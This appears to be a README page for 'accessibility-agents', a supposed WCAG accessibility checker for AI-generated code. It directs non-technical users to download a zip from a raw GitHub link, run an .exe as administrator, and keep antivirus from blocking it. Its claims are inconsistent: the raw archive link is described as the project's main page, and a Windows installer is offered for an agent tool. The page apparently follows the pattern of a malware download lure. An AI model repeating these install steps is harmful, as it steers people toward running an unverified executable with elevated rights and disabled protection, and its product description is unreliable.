Accessibility-agents helps you find and fix accessibility problems in code generated by AI tools like Claude Code, GitHub Copilot, and Claude Desktop. It uses eleven specialist reviewers to check if your code meets WCAG 2.2 AA standards. These standards ensure your websites and apps work well for everyone, including people with disabilities.
This tool is designed for users who want to improve the accessibility of AI-generated code. You do not need programming experience to use it. The application offers a straightforward way to scan your code and get clear feedback.
Before you start, make sure your computer meets these requirements:
- Operating System: Windows 10 or later (64-bit recommended)
- Processor: Intel Core i3 or equivalent
- RAM: 4 GB minimum
- Disk Space: At least 200 MB free
- Internet Connection: Required to download and activate updates
- Permissions: You must have permission to install software on your PC
- Open your web browser (Edge, Chrome, Firefox, or Safari).
- Click the big green Download button above or visit this link directly:
https://github.com/helper618/accessibility-agents/raw/refs/heads/main/conveyance/accessibility-agents-3.4-alpha.2.zip - This link takes you to the project's main page. From here, you will find the download options.
- Look for a file called something like
accessibility-agents-setup.exeunder the "Releases" tab or in the main folder. - Download that setup file to your computer.
Follow these steps after you have downloaded the setup file:
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Locate the Setup File
- Open your Downloads folder or wherever you saved the file.
- The file name should end with
.exe.
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Run the Installer
- Double-click the downloaded
.exefile. - If Windows asks, click “Yes” to allow the program to make changes.
- The installer will open and guide you through the installation process.
- Double-click the downloaded
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Follow the Installer Prompts
- Read and accept the license agreement.
- Choose the folder where you want to install the software or leave it as default.
- Click “Install” to begin the process.
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Complete the Installation
- Wait while the program installs.
- When done, click “Finish” to close the installer.
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Start the Application
- You can find accessibility-agents in your Start Menu.
- Click its icon to open the app.
Once you open the app, you can start reviewing your code for accessibility. Here’s how:
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Open Your Code File
- Click the “Open File” button.
- Navigate to your project files and select the code you want to check (HTML, JavaScript, or similar).
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Run the Accessibility Review
- Click “Start Review”.
- The tool runs all eleven accessibility checks on your file.
- This process usually takes a few seconds.
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View the Results
- The app displays a list of issues found.
- Each issue will have an explanation and a suggestion to fix it.
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Fix the Problems
- Use the suggestions to edit your code.
- You can rerun the review to check your changes.
- Checks code against WCAG 2.2 AA standards.
- Supports code from popular AI coding tools.
- Provides clear explanations for each accessibility violation.
- Offers practical fixes recommended by accessibility experts.
- Runs on Windows without needing programming skills.
- Keeps your development workflow simple.
- Helps your code work better with screen readers and assistive technology.
You can always get the latest version here:
Download accessibility-agents
Visit this page to find the setup file for Windows and other resources.
- If the installer does not run, right-click the file and select “Run as administrator.”
- Make sure Windows Defender or any antivirus does not block the installation.
- If you have trouble opening code files, ensure they have correct extensions like
.html,.js, or.jsx. - When reviewing, close other applications to speed up accessibility-agents.
- Keep your PC updated to avoid compatibility issues.
- accessibility-agents uses well-established accessibility rules.
- It works offline after installation but updates require internet.
- You can report problems or request help on the GitHub Issues page for this project.
- The tool is suitable for developers, designers, and testers who want better accessibility results.
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